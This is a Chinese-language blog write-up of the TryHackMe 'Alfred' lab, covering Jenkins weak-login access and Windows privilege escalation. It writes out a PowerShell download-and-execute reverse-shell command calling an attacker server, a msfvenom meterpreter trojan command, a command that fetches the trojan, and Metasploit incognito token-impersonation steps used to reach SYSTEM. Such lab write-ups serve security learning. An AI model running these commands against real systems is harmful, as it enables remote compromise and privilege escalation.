THM打靶日寄3-Alfred

• 初始打点

  

  

  80 端口没什么东西，8080 是 jenkins 登陆界面，用弱密码 admin:admin 登进去了是实战中想都不敢想的东西

  看来一圈，本来想不按照 THM 的提示，用 manage jenkins 中的 script console 来命令执行。但正常的命令可以做到，下载反弹 shell 的命令就不行了：

  

  

  update：之后破案了，靶机没wget

  

  另一个地方是直接点主页的 project - configure 里面的 build 模块也可以用来命令执行

  试图简单反弹 shell 但是失败了，即使根据报错查到的，加上 exit 0 也不行

  

  

  THM这里让使用 Powershell 脚本来传 nishang 的反弹 shell ：powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.99.99:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.15.168 -Port 1234

  这里本来想试着直接反弹 msfvenom 生成的 Powershell 脚本，但一直有报错，卡了我一个小时了，包括普通的 exe 也不行，很奇怪：

  

  于是老老实实慢慢拿shell：

  在 /nishang/Shells 直接用 python -m http.server 开服务器

  在那个 build 模块下：powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.99.99:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.99.99 -Port 1234 ，分别从服务器下载并运行 powershell 脚本

  应用一下，然后到主页 build now 以启动命令

  

  然后经典在当前用户的桌面找到flag

• msf 提权

  用上面的方法传马，并用刚刚连接的命令行来启动。一个比较幽默的点是必须先停止命令行，再下载，再启动命令行再启动木马

  生成木马，注意端口号别重复：msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.99.99 LPORT=4321 -f exe -o qwq.exe

  

  传马的命令：powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.99.99:8000/qwq.exe','qwq.exe')"

  msf 的监听：

  

  命令行那里直接 ./qwq 启动木马，msf 成功上线

• 账户令牌伪造实现Windows提权

  这里昨天的 Powerup 脚本扫描没有扫到有用的东西

  • Windows 账户令牌：

    访问令牌包括：用户SID，组SID，Privileges权限

    目前只需要关注账户的权限，以下是容易被滥用的权限，可用的权限可被用于模拟其他用户的令牌：

    • SeImpersonatePrivilege

    • SeAssignPrimaryPrivilege

    • SeTcbPrivilegesedbprivilege相关

    • SeBackupPrivilegeSeBackupPrivilege服务

    • SeRestorePrivilege返回特权

    • SeCreateTokenPrivilege

    • SeLoadDriverPrivilege

    • SeTakeOwnershipPrivilege

    • SeDebugPrivilege

    使用 whoami /priv 来查权限是否可用，令人感慨的是meterpreter不支持whoami命令

    

    这里要使用 msf 的 incognito 模块，其专门用于 Windows 系统的用户令牌窃取：load incognito

    用 list_tokens -g 来查找可用的 token ，找到了可用的admin

    

    impersonate_token "BUILTIN\Administrators" 来伪造该 token

    

    getuid 能看到这里已经是 SYSTEM 权限了

    

    但注意，为了保险起见，要把恶意进程迁移至 services.exe 中：

    ps 查看当前所有进程，migrate [进程PID] 来迁移，没图是因为进程里面没找到service.exe（逃